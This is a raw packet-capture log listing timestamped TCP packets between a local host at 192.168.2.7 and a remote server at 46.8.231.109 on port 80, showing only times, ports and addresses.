Oct 7, 2024 19:33:20.629045010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629045010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629056931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629057884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629070044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629081964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629086971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629096031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629129887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629129887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629152060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629311085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629328966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629339933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629352093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629364014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629370928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629383087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629383087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629384041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629395008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629398108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629410028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629420042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629430056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629439116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629439116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629441977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629460096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629467010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629472971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629488945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629491091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629499912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629501104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629513025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629524946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629532099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629532099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629538059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629568100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629568100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629764080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629776001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629786968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629797935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629803896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629810095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629825115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629837990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629848957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629858971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629858971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629859924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629883051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629900932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629909992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629909992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629914999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629929066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629937887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629940987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629954100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629965067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629976034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629988909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.629992008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.629992008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630004883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630039930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630043030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630054951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630064964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630075932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630086899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630098104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630108118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630110979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630124092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630124092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630168915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630182028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630198956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630207062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630207062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630213022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630225897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630234003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630238056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630260944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630260944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630301952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630419970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630431890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630449057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630460978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630471945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630475998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630475998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630485058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630497932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630508900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630517006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630517006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630520105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630532980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630544901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630557060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630568027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630572081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630572081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630580902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630642891 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630774021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630804062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630805016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630805016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630820036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630832911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630844116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630855083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630858898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630891085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630892038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.630948067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630961895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630971909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630983114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.630992889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631004095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631016016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631027937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631027937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631059885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631059885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631091118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631119013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631129980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631140947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631153107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631164074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631169081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631169081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631169081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631176949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631190062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631196976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631196976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631202936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631216049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631227016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631243944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631244898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631244898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631257057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631268024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631278992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.631285906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631285906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631335974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.631335974 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.712902069 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712914944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712927103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712944984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712958097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712970018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712981939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.712986946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.712995052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713025093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713058949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713062048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713093042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713115931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713126898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713135958 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713136911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713154078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713167906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713171959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713184118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713195086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713213921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713226080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713237047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713248014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713248014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713273048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713290930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713304043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713315010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713355064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713355064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713428974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713442087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713454008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713464022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713474989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713488102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713488102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713488102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713526964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713526964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713532925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713546038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713557959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713568926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713581085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713592052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713614941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713614941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713644981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713644981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713659048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713670015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713680983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713692904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.713706017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713706970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.713751078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714133978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714147091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714180946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714193106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714200020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714207888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714220047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714237928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714238882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714248896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714251041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714262962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714274883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714286089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714292049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714292049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714298964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714312077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714314938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714364052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714364052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714371920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714384079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714395046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714407921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714416027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714421034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714432955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714462042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714462042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714468002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714481115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714492083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714502096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714508057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714508057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714514017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714524984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714529037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714543104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714560986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714560986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714598894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714736938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714750051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714761019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714771986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714783907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714807987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714807987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714826107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714838982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714849949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714862108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714875937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714876890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714876890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714888096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714915991 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714915991 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.714962959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714976072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.714993954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715004921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715006113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715006113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715018034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715029001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715037107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715037107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715042114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715054035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715066910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715076923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715090036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715091944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715091944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715102911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715126038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715126038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715172052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715315104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715327024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715346098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715357065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715368032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715379000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715383053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715387106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715398073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715400934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715410948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715421915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715428114 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715435028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715445042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715447903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715460062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715471029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715482950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715491056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715491056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715496063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715509892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715534925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715534925 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715557098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715706110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715718031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715729952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715740919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715751886 CEST	49718	80	192.168.2.7	46.8.231.109
